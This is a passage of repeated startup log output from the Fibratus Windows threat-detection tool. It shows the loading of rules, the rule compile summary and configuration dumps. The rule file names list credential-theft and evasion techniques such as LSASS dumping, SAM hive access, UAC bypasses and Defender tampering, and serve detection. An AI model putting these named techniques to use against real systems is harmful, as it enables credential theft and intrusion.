level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:44:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:44:29+01:00 level=info msg=bootstrapping with pid 12040. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:44:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-net=>true enable-handle=>false max-buffers=>36 enable-audit-api=>true enable-mem=>true enable-dns=>false enable-fileio=>true enable-vamap=>true enable-threadpool=>false buffer-size=>512 enable-registry=>true enable-thread=>true flush-interval=>1s stack-enrichment=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text max-size=>100 level=>info log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false enabled=>false exchange-type=>topic vhost=>/ timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus durable=>false routing-key=>fibratus delivery-mode=>transient] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s timeout=>5s template-name=>fibratus gzip-compression=>false healthcheck=>true index-name=>fibratus enabled=>false flush-period=>1s sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200]] http=>[ enable-gzip=>false enabled=>false serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false skip-mmaps=>false fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] excluded-procs=>[] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:44:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:44:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:50:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:50:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:50:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:50:10+01:00 level=info msg=bootstrapping with pid 12172. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:50:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-mem=>true enable-thread=>true enable-registry=>true enable-handle=>false enable-threadpool=>false max-buffers=>36 flush-interval=>1s enable-audit-api=>true stack-enrichment=>true enable-vamap=>true min-buffers=>16 enable-dns=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 level=>info] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false serializer=>json timeout=>5s enable-gzip=>false method=>POST] eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s enabled=>false tls-insecure-skip-verify=>false durable=>false passive=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic delivery-mode=>transient routing-key=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus timeout=>5s sniff=>false trace-log=>false gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:50:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:50:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:51:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from 